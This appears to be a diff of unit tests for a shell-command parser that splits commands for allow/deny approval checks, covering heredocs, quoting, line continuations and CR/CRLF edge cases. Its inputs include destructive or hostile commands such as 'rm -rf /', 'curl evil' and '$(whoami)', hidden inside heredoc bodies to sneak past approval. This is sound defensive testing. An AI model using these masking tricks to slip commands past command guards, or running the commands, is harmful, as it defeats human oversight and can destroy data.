+			// Continuation removal deletes exactly the two bytes of a
+			// backslash-newline pair. A space after the pair survives, so
+			// bash sees `$` and `'` apart: the delimiter word stays `a$`, the
+			// quote on the joined line belongs to a later word, and the
+			// heredoc closes at the matching `a$` line. The terminator stays
+			// determinable, so the occurrence test must end its continuation
+			// skip at any byte the removal leaves standing — even a plain
+			// newline that no backslash joins.
+			const joined = parseCommand("cat <<a$\\\n 'b'\nbody\na$\nprintf RAN > ran.marker\n")
+			expect(joined.parseError).toBeNull()
+			expect(joined.commands).toEqual(["cat <<a$\\\n\nbody\na$ b", "printf RAN > ran.marker"])
+			const spaced = parseCommand("cat <<a$ \n'b'\nbody\na$\nprintf RAN > ran.marker\n")
+			expect(spaced.parseError).toBeNull()
+			expect(spaced.commands).toEqual(["cat <<a$\n'b'\nbody\na$", "printf RAN > ran.marker"])
+		})
+
+		it("reports a chained malformed delimiter at its own opener", () => {
+			// A chained opener's un-closeable delimiter word fails its own
+			// heredoc: the error names the chained construct's opener position,
+			// not the first heredoc on the line.
+			const { parseError } = parseCommand("cat <<A <<'x\nbody\nA\nprintf RAN > ran.marker\n")
+			expect(parseError?.quoteType).toBe("heredoc")
+			expect(parseError?.openIndex).toBe(8)
+		})
+
+		it("keeps escaped-dollar and in-quote-dollar delimiter words parsing", () => {
+			// Precision controls: bash treats an escaped `\$` as a literal
+			// dollar and a `$` inside a quote region as ordinary word content,
+			// and the walk derives both words exactly, so the terminator stays
+			// determinable and these words keep parsing. An escaped backslash
+			// after an unquoted dollar keeps its own pair, so the following
+			// quote belongs to a later word, not to the dollar: the word stays
+			// `a$\X`, no ANSI-C occurrence exists, and only a continuation pair
+			// -- never a lone `\\` -- may join bytes in the occurrence test.
+			const escaped = parseCommand("cat <<\\$'X'\nbody\n$X")
+			expect(escaped.parseError).toBeNull()
+			expect(escaped.commands).toEqual(["cat <<\\$'X'\nbody\n$X"])
+			const escapedBackslash = parseCommand("cat <<a$\\\\'X'\nbody\na$\\X")
+			expect(escapedBackslash.parseError).toBeNull()
+			expect(escapedBackslash.commands).toEqual(["cat <<a$\\\\'X'\nbody\na$\\X"])
+			const quotedDollar = parseCommand("cat <<'EOF$'\nbody\nEOF$")
+			expect(quotedDollar.parseError).toBeNull()
+			expect(quotedDollar.commands).toEqual(["cat <<'EOF$'\nbody\nEOF$"])
+			const dqDollar = parseCommand(`cat <<a"$'x'"\nbody\na$'x'`)
+			expect(dqDollar.parseError).toBeNull()
+			expect(dqDollar.commands).toEqual([`cat <<a"$'x'"\nbody\na$'x'`])
+		})
+
+		it("refuses mid-word ANSI-C concatenation and leaves ordinary quoting untouched", () => {
+			// The scan fires on any unquoted `$'`/`$"` occurrence in the
+			// delimiter word. Plain quoting constructs, a body merely
+			// containing a `$'EOF'` line, and a bare `$VAR` at word start keep
+			// parsing; the unclosed mixed quote still fails closed through the
+			// open-region rule, not through this scan.
+			const sq = parseCommand("cat <<'EOF'\nbody\nprintf RAN > ran.marker\nEOF")
+			expect(sq.parseError).toBeNull()
+			expect(sq.commands).toEqual(["cat <<'EOF'\nbody\nprintf RAN > ran.marker\nEOF"])
+			const dq = parseCommand('cat <<"EOF"\nbody\nprintf RAN > ran.marker\nEOF')
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(['cat <<"EOF"\nbody\nprintf RAN > ran.marker\nEOF'])
+			const mixed = parseCommand(`cat <<"EOF'\nbody\nEOF`)
+			expect(mixed.parseError?.quoteType).toBe("heredoc")
+			expect(mixed.commands).toEqual([`cat <<"EOF'\nbody\nEOF`])
+			const midWord = parseCommand("cat <<a$'b'\nbody\na$b")
+			expect(midWord.parseError?.quoteType).toBe("heredoc")
+			expect(midWord.commands).toEqual(["cat <<a$'b'\nbody\na$b"])
+			const midWordLocale = parseCommand('cat <<a$"b"\nbody\na$b')
+			expect(midWordLocale.parseError?.quoteType).toBe("heredoc")
+			expect(midWordLocale.commands).toEqual(['cat <<a$"b"\nbody\na$b'])
+			const bodyLine = parseCommand("cat <<EOF\nbody\n$'EOF'\nprintf RAN > ran.marker\nEOF")
+			expect(bodyLine.parseError).toBeNull()
+			expect(bodyLine.commands).toEqual(["cat <<EOF\nbody\n$'EOF'\nprintf RAN > ran.marker\nEOF"])
+			// A `$` without a quote byte after it is a variable expansion, not
+			// the ANSI-C quoting start: the scan must not fire on it.
+			const bareVar = parseCommand("cat <<$EOF\nbody\n$EOF")
+			expect(bareVar.parseError).toBeNull()
+			expect(bareVar.commands).toEqual(["cat <<$EOF\nbody\n$EOF"])
+		})
+
+		it("keeps a chained ANSI-C delimiter refused and a quoted chain's tail visible", () => {
+			// bash strips the ANSI-C quotes from a chained delimiter too, so the
+			// `$'A'` chain must stay refused; the guard now refuses it at the
+			// delimiter itself. The quoted twin is ordinary chained syntax: it
+			// keeps parsing, and the tail after the last terminator reaches its
+			// own segment for the deny surface.
+			const chain = parseCommand("cat <<$'A' <<B\na1\nA\nb1\nB\nprintf RAN > ran.marker")
+			expect(chain.parseError?.quoteType).toBe("heredoc")
+			expect(chain.commands).toEqual(["cat <<$'A' <<B\na1\nA\nb1\nB\nprintf RAN > ran.marker"])
+			const quotedChain = parseCommand("cat <<'A' <<B\na1\nA\nb1\nB\nprintf RAN > ran.marker")
+			expect(quotedChain.parseError).toBeNull()
+			expect(quotedChain.commands).toEqual(["cat <<'A'\na1\nA\nb1\nB << B", "printf RAN > ran.marker"])
+		})
+	})
+
+	describe("process substitution >(…) extraction", () => {
+		// `>(…)` shares the frames with `<(…)`. It writes where `<(…)` reads. The
+		// inner command runs unconditionally, and its output goes to a device
+		// file. Its payload must therefore match the lists on its own.
+
+		it("extracts the payload of a >() process substitution as its own segment", () => {
+			const { commands, parseError } = parseCommand("cat >(evil)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat", "evil"])
+		})
+
+		it("reports an unclosed >() region", () => {
+			const input = "cat >(evil"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("process-substitution")
+		})
+
+		it("extracts both payloads of a >() nested inside <()", () => {
+			expect(parseCommand("cat >(a <(b))").commands).toEqual(["cat", "a", "b"])
+		})
+
+		it("keeps >(…) inside double quotes opaque (no extraction, no split)", () => {
+			// Quoted text is never shell syntax. bash prints it literally.
+			const input = 'cat ">(evil)"'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+	})
+
+	describe("body-walk and masking edge coverage", () => {
+		// The structural tests above reach some scan regions only partially. Each
+		// input here pins one masking or extraction branch of the body walk, the
+		// opener-line remainder, or the redirection/variable scanners.
+
+		it("extracts a backtick payload from an unquoted heredoc body", () => {
+			const input = "cat <<EOF\n`echo x`\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			// Backticks do not nest, but a pair still delimits an expansion the
+			// shell runs inside an unquoted body.
+			expect(commands).toEqual([input, "echo x"])
+		})
+
+		it("extracts a substitution inside $[…] within a heredoc body", () => {
+			// bash expands command substitutions inside `$[ … ]`, the deprecated
+			// arithmetic form, before it evaluates it. This works exactly like
+			// `$(( … ))`. The payload must match the lists on its own.
+			const input = "cat <<EOF\n$[1 + $(whoami)]\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "whoami"])
+		})
+
+		it("extracts both process substitutions from a heredoc body", () => {
+			const input = "cat <<EOF\ndiff <(sort a) <(sort b)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "sort a", "sort b"])
+		})
+
+		it("keeps an empty-quoted delimiter inside a parameter expansion as literal text and leaks no placeholder", () => {
+			const input = "echo ${x:-y <<''\nbody\n\n}"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			// `<<` inside `${…}` is literal word text, so no heredoc mask is
+			// emitted. The expansion host keeps its verbatim text, and no
+			// sentinel leaks into it.
+			expect(commands).toEqual([input])
+			expect(commands.join("")).not.toContain("\x00")
+		})
+
+		it("fails closed on an unclosed substitution in the heredoc opener-line remainder", () => {
+			const input = "cat <<EOF $(unclosed\nbody\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("masks redirections without splitting them or their host command", () => {
+			const { commands, parseError } = parseCommand("echo a 2>&1 && echo b 1>&2")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo a 2>&1", "echo b 1>&2"])
+		})
+
+		it("masks special-parameter variables into one host word", () => {
+			const { commands, parseError } = parseCommand("echo $? $$ $! x")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo $? $$ $! x"])
+		})
+
+		it("fails closed on masked placeholders when the tokenizer throws", () => {
+			forceShellQuoteFailure = true
+			try {
+				const input = "echo $((1+1)) && cat <<EOF\nbody\nEOF"
+				const { commands, parseError } = parseCommand(input)
+				// The masked host text carries no active shell syntax, so a
+				// tokenizer rejection means the decomposition cannot account for
+				// this line. The raw input stays one opaque token: no fragment of
+				// a partial split can be approved in isolation.
+				expect(commands).toEqual([input])
+				expect(parseError?.quoteType).toBe("tokenize-failure")
+				expect(commands.join("")).not.toContain("\x00")
+			} finally {
+				forceShellQuoteFailure = false
+			}
+		})
+
+		it("fails closed on an unclosed substitution riding a later line of the host", () => {
+			const input = "echo a\ncat <<EOF\n$(unclosed\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("masks a closed $[…] at top level as one host word", () => {
+			const { commands, parseError } = parseCommand("echo $[1+2]")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo $[1+2]"])
+		})
+	})
+
+	describe("scanner primitives and frame internals", () => {
+		// Each masking scanner owns an accept/reject boundary. The structural
+		// tests above reach those boundaries only indirectly. Each input here
+		// pins one branch.
+
+		it("treats a lone $ and $ before a space as literal host text", () => {
+			// A `$` with nothing name-like after it is not a variable reference:
+			// bash passes it through, and so must the scanner.
+			expect(parseCommand("echo $").commands).toEqual(["echo $"])
+			expect(parseCommand("echo $ x").commands).toEqual(["echo $ x"])
+		})
+
+		it("masks a $name reference into its host word", () => {
+			const { commands, parseError } = parseCommand("echo $HOME")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo $HOME"])
+		})
+
+		it("masks a bare >& redirection without splitting the host", () => {
+			const { commands, parseError } = parseCommand("echo a >&2")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo a >&2"])
+		})
+
+		it("keeps nested quotes opaque inside a command substitution payload", () => {
+			const { commands, parseError } = parseCommand('echo $(a "b c" d)')
+			expect(parseError).toBeNull()
+			// The payload is one inner command: the quoted space does not split it.
+			expect(commands).toEqual(["echo", 'a "b c" d'])
+		})
+
+		it("extracts a backtick expansion nested inside a command substitution", () => {
+			const { commands, parseError } = parseCommand("echo $(a `b` c)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "a", "b", "c"])
+		})
+
+		it("keeps a lone $ inside a substitution host as literal payload text", () => {
+			const { commands, parseError } = parseCommand("echo $(a $ b)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "a $ b"])
+		})
+
+		it("extracts a substitution nested inside arithmetic within a substitution", () => {
+			// The shell performs $(( … )) expansions inside $( … ), so `y` must
+			// match the lists on its own.
+			const { commands, parseError } = parseCommand("echo $(x $((1+$(y))))")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "x $((1+$(y)))", "y"])
+		})
+
+		it("names the backtick when it is opened inside arithmetic inside a substitution", () => {
+			// The arithmetic interior walk owns the error so it names the
+			// backtick, not the outer frame it would otherwise be blamed on.
+			const input = "echo $(x $(( ` ))"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("backtick")
+		})
+
+		it("names the backtick when it is opened inside arithmetic at top level", () => {
+			const input = "echo $(( `a ))"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("backtick")
+		})
+
+		it("keeps an empty substitution payload from becoming an empty segment", () => {
+			const { commands, parseError } = parseCommand("echo $( )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo"])
+		})
+
+		it("splits a multi-line substitution payload on its blank-separated lines", () => {
+			const { commands, parseError } = parseCommand("echo $(a\n\nb)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "a", "b"])
+		})
+
+		it("fails closed on an unbalanced quote inside a substitution payload", () => {
+			const input = 'echo $("x)'
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			// End of input reports the outermost frame: the substitution that
+			// can never close because its quoted payload swallowed the closer.
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("honours a backslash-escaped character inside a double-quoted delimiter", () => {
+			// `<<"a\$b"` undergoes quote removal to the literal word `a$b`, so
+			// the body terminates at the line `a$b`.
+			const input = 'cat <<"a\\$b"\na$b\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<"a\\$b"\na$b'])
+		})
+
+		it("drops a backslash-newline line continuation inside a quoted delimiter", () => {
+			// bash removes the backslash-newline pair inside double quotes, so
+			// the delimiter word is the concatenation `ab`.
+			const input = 'cat <<"a\\\nb"\nab\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<"a\\\nb"\nab'])
+		})
+
+		it("keeps a backslash before a non-escapable character in a double-quoted delimiter", () => {
+			// Inside double quotes, bash drops a backslash only before `$ ` " \
+			// and newline. Before `q` it stays part of the word. The terminator
+			// line is therefore `a\q`, and everything after it is live syntax
+			// again rather than masked body text.
+			const input = 'cat <<"a\\q"\na\\q\nrm -rf /\naq\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<"a\\q"\na\\q', "rm -rf /", "aq"])
+		})
+
+		it("drops a backslash before $ inside a double-quoted delimiter", () => {
+			// `$` is in the escapable set, so the delimiter is the three-char
+			// word `a$q` and the matching body line terminates the heredoc.
+			const input = 'cat <<"a\\$q"\na$q\nrm -rf /\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<"a\\$q"\na$q', "rm -rf /"])
+		})
+
+		it("keeps backslashes verbatim in a single-quoted delimiter", () => {
+			// Single quotes suppress all escaping, so the delimiter is the
+			// literal `a\q` and the terminator line carries the backslash.
+			const input = "cat <<'a\\q'\na\\q\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<'a\\q'\na\\q", "rm -rf /"])
+		})
+
+		it("terminates a double-quoted-delimiter heredoc after a continuation-joined word", () => {
+			// Backslash-newline inside double quotes joins the word, so the
+			// delimiter is `aq` and the following line is already live syntax.
+			const input = 'cat <<"a\\\nq"\naq\nrm -rf /\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<"a\\\nq"\naq', "rm -rf /"])
+		})
+
+		it("terminates an unquoted heredoc whose delimiter is split by line continuation", () => {
+			// bash joins backslash-newline pairs before testing a body line
+			// against the terminator, so `EO\` + `F` ends the heredoc there and
+			// the following line executes rather than staying masked body text.
+			const input = "cat <<EOF\nEO\\\nF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\nEO\\\nF", "rm -rf /"])
+		})
+
+		it("does not join backslash-newline inside a quoted-delimiter body", () => {
+			// A quoted delimiter makes every body backslash literal, so `EO\`
+			// + `F` is ordinary body text and only the real `EOF` line ends the
+			// heredoc.
+			const input = "cat <<'EOF'\nEO\\\nF\nrm -rf /\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<'EOF'\nEO\\\nF\nrm -rf /\nEOF"])
+		})
+
+		it("strips the joined <<- terminator line's leading tabs after joining continuations", () => {
+			// The join assembles the candidate from raw physical lines first;
+			// tab stripping then applies once to that joined line, so the
+			// tab-indented `EO\` + `F` pair still matches `EOF`.
+			const input = "cat <<-EOF\n\tEO\\\nF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<-EOF\n\tEO\\\nF", "rm -rf /"])
+		})
+
+		it("strips every leading tab of the <<- terminator line", () => {
+			// Indentation depth is irrelevant: all leading tabs are stripped,
+			// so a multiply tabbed terminator still matches the delimiter.
+			const input = "cat <<-EOF\nbody\n\t\tEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("keeps a continuation line's tab inside the <<- terminator candidate", () => {
+			// Stripping after joining leaves `EO\tF` for the pair with a tab on
+			// both lines. The heredoc therefore runs to the real `EOF` line
+			// instead of closing early. The commands after it stay visible for
+			// approval checks, exactly as bash executes them.
+			const input = "cat <<-EOF\n\tEO\\\n\tF\ncat <<X\nEOF\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<-EOF\n\tEO\\\n\tF\ncat <<X\nEOF", "rm -rf /", "X"])
+		})
+
+		it("strips a tab that joins into the front of the <<- terminator", () => {
+			// A continuation-only backslash leaves the candidate starting at
+			// the next physical line, so the tab that opens it is the joined
+			// line's leading tab and stripping removes it: the terminator
+			// matches and the following command is live.
+			const input = "cat <<-EOF\n\t\\\n\tEOF\ntouch x\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<-EOF\n\t\\\n\tEOF", "touch x"])
+		})
+
+		it("leaves a <<- heredoc unterminated when the joined candidate differs from the delimiter", () => {
+			// `EO\` + `\tF` joins to `EO\tF`, which stays unequal to `EOF`
+			// after stripping the joined line's leading tab: bash finds no
+			// terminator and reads the body to end of input, so the scan
+			// fails closed rather than validating the construct.
+			const input = "cat <<-EOF\nEO\\\n\tF\nrm -rf /\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("does not join a line ending in an even number of backslashes", () => {
+			// Two trailing backslashes escape each other, so the line ends
+			// literally and the body runs to the real terminator.
+			const input = "cat <<EOF\nX\\\\\nrm -rf /\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\nX\\\\\nrm -rf /\nEOF"])
+		})
+
+		it("closes the heredoc after an even backslash run and keeps the following command live", () => {
+			// bash joins only odd backslash runs before matching the
+			// terminator. The two backslashes escape each other, so the line
+			// is ordinary body text and the next `EOF` closes the heredoc.
+			// bash then runs `touch x`. A join over the even run would merge
+			// the terminator into the body text, hide the live line as body,
+			// and report the whole command unterminated.
+			const input = "cat <<EOF\nX\\\\\nEOF\ntouch x"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\nX\\\\\nEOF", "touch x"])
+		})
+
+		it("fails closed on a heredoc whose continuation joins over a CRLF line ending", () => {
+			// The msys/Cygwin read layer is the reference shell on the Windows
+			// target. It strips the CR from every line it reads. The logical
+			// line therefore ends with the lone backslash and continues into
+			// the `F` line. That joins the candidate into the `EOF` terminator.
+			// POSIX bash reads `\<CR>` as an escaped CR, with no join, so the
+			// two models close on different lines. A continuation that consumes
+			// a CRLF makes the mask boundary model-dependent. The heredoc
+			// therefore fails closed for review instead of guessing which model
+			// decides it.
+			const input = "cat <<EOF\r\nEO\\\r\nF\r\ntouch x\r\nEOF\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a heredoc body line carrying a lone CR", () => {
+			// The read-layer CR strip leaves `EO\F`: no continuation, and the
+			// body runs to the real terminator. POSIX bash reads the backslash
+			// as escaping the CR. Here the models happen to agree. The CR still
+			// leaves the two layers reading different bytes, so the close cannot
+			// be verified in a model-independent way. Such a heredoc fails
+			// closed. That is the accepted cost of never picking a model.
+			const input = "cat <<EOF\nEO\\\rF\ntouch x\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on an unquoted heredoc at a bare-CR-concatenated terminator candidate", () => {
+			// The msys/Cygwin read layer strips the bare CR. The body line then
+			// arrives as the terminator `EOF`, and the heredoc closes early.
+			// That leaves `curl evil` live. POSIX bash keeps the CR and does
+			// not close here. An early close feeds the remaining body back to
+			// the scanner as live syntax. The divergence therefore fails closed
+			// instead of choosing a model.
+			const input = "cat <<EOF\nEO\rF\ncurl evil\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a <<- heredoc at a bare-CR-concatenated tabbed terminator candidate", () => {
+			// Tab stripping applies to the CR-stripped logical line, so the
+			// tab-indented `EO<CR>F` pair still matches `EOF` under the msys
+			// read layer while POSIX bash keeps the CR. The model-dependent
+			// close fails closed.
+			const input = "cat <<-EOF\n\tEO\rF\ncurl evil\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a quoted-delimiter heredoc at a bare-CR-concatenated terminator candidate", () => {
+			// The CR strip happens in the shell's read layer before quoting is
+			// considered, so a quoted delimiter does not protect the body: the
+			// msys model closes early at the `EO<CR>F` line while POSIX bash
+			// keeps the body open. The divergence fails closed.
+			const input = "cat <<'EOF'\nEO\rF\ncurl evil\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a heredoc body line whose stripped content only contains the delimiter", () => {
+			// Stripping yields `EOFx`, which is not the terminator. The msys
+			// read line therefore keeps the body open until the real `EOF`
+			// line. POSIX bash keeps `EOF<CR>x` as ordinary body content. Both
+			// models close at the same final `EOF` line. The CR inside the
+			// opener-through-terminator region still leaves the two layers
+			// reading different bytes. The close cannot then be verified in a
+			// model-independent way, so the input fails closed for review. That
+			// over-rejection is accepted, because confirming the agreement
+			// would mean modeling both read layers.
+			const input = "cat <<EOF\nEOF\rx\ncurl evil\nEOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when an early CR close would re-expose a fake heredoc opener", () => {
+			// The msys read layer strips the bare CR from `EO<CR>F`. That closes
+			// the first heredoc early. The scanner would then read the body
+			// line `cat <<X` as a live opener whose body masks `rm -rf /`.
+			// POSIX bash keeps the CR and runs the line after the real `EOF`.
+			// The region CR test fails this closed instead of choosing a model.
+			const input = "cat <<EOF\nEO\rF\ncat <<X\nEOF\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a CRLF-joined close exposes a second masking heredoc", () => {
+			// Under the msys read layer, `EO\` plus the CRLF joins into the
+			// `EOF` terminator. The body text this exposes opens a second
+			// heredoc that masks `printf`. POSIX bash executes that `printf`:
+			// there `\<CR>` escapes the CR, and no join happens. The models
+			// diverge, so the input fails closed.
+			const input = "cat <<EOF\r\nEO\\\r\nF\r\ncat <<X\r\nEOF\r\nprintf 'MARKER\\n' #\r\nX\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when a CRLF-joined terminator candidate masks a following command", () => {
+			// The msys read layer joins `x\` with the next line across the CRLF
+			// into `xEOF`. The heredoc therefore matches only the final `EOF`
+			// and masks the line in between. POSIX bash reads the delimiter
+			// word as `EOF<CR>` and ends the body two lines earlier. It then
+			// executes the masked line. The divergence fails closed.
+			const input = "cat <<EOF\r\nx\\\r\nEOF\r\nrm -rf /\r\nEOF\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a CRLF opener line whose CR leaves the scanned body CR-free", () => {
+			// The opener line's CRLF makes msys read the delimiter `EOF` while
+			// POSIX bash reads `EOF<CR>`, so the CR-free `EOF` body line closes
+			// the heredoc for msys only and the following `cat <<X` opener would
+			// mask `rm -rf /` under one model. The CR sits on the consumed opener
+			// line ending, yet it is inside the opener-through-terminator region,
+			// so the heredoc fails closed.
+			const input = "cat <<EOF\r\nbody\nEOF\ncat <<X\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a CRLF opener line of a <<- heredoc", () => {
+			// Tab stripping is orthogonal to the region test: the opener line's
+			// CR already makes the delimiter word model-dependent.
+			const input = "cat <<-EOF\r\nbody\nEOF\ncat <<X\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a CRLF opener line of a quoted-delimiter heredoc", () => {
+			// Quoting suppresses body expansion, not the read-layer CR strip, so
+			// the delimiter word still diverges between the models.
+			const input = "cat <<'EOF'\r\nbody\nEOF\ncat <<X\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed when the terminator line itself carries a CRLF the opener lacks", () => {
+			// With an LF-terminated opener, both models read the delimiter as
+			// `EOF`. The CR inside the terminator candidate is ordinary content
+			// for POSIX bash, so there `EOF<CR>` never matches. The msys read
+			// layer strips that CR and closes the body at that line. That
+			// exposes the `cat <<X` opener, which masks `rm -rf /`. The CR sits
+			// inside the region at the match, so the heredoc fails closed.
+			const input = "cat <<EOF\nEOF\r\ncat <<X\nEOF\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a quoted-delimiter heredoc whose terminator line carries a CRLF", () => {
+			// The read-layer strip runs before quoting is considered, so the
+			// quoted form diverges the same way at the terminator line.
+			const input = "cat <<'EOF'\nEOF\r\ncat <<X\nEOF\nrm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a heredoc whose opener and terminator CR placement mirrors across models", () => {
+			// The first heredoc's opener ends with CRLF, and its terminator line
+			// ends with LF. The masking heredoc below shows the reversed pair.
+			// Each CR sits inside its construct's opener-through-terminator
+			// region, so no model-dependent close can be picked.
+			const input = "cat <<EOF\r\nEOF\ncat <<X\nEOF\r\nrm -rf /\r\nX\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("treats a backslash at end of input as part of the delimiter word", () => {
+			// Nothing follows the backslash to escape, so the word keeps it and
+			// no body line can match: the heredoc is unterminated.
+			const input = "cat <<EOF\\"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("honours a backslash-escaped closer inside a substitution in a heredoc body", () => {
+			// In an unquoted body `\)` escapes the closer, so the region runs to
+			// its real `)` and the payload keeps the literal `)`.
+			const input = "cat <<EOF\n$(a \\) b)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "a ) b"])
+		})
+
+		it("keeps a backslash-escaped $ in a heredoc body literal", () => {
+			const input = "cat <<EOF\n\\$(x)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			// The escaped $ is data, not an opener: nothing is extracted.
+			expect(commands).toEqual([input])
+		})
+
+		it("keeps a bare $ prefixing a name in a heredoc body as host text", () => {
+			const input = "cat <<EOF\n$HOME\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input])
+		})
+
+		it("routes a body-walk parameter expansion payload out of its frame", () => {
+			const input = "cat <<EOF\n${y:-$(evil)}\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "evil"])
+		})
+
+		it("routes payloads through nested parameter expansions in a heredoc body", () => {
+			const input = "cat <<EOF\n${y:-${x:-$(evil)}} $z\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			// Both expansions are expansion-active when y is unset, so `evil`
+			// is evaluated independently of the allowlisted `cat`.
+			expect(commands).toEqual([input, "evil"])
+		})
+
+		it("extracts a substitution inside arithmetic within a heredoc body", () => {
+			const input = "cat <<EOF\n$((1+$(whoami)))\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "whoami"])
+		})
+
+		it("fails closed on unclosed arithmetic inside a heredoc body", () => {
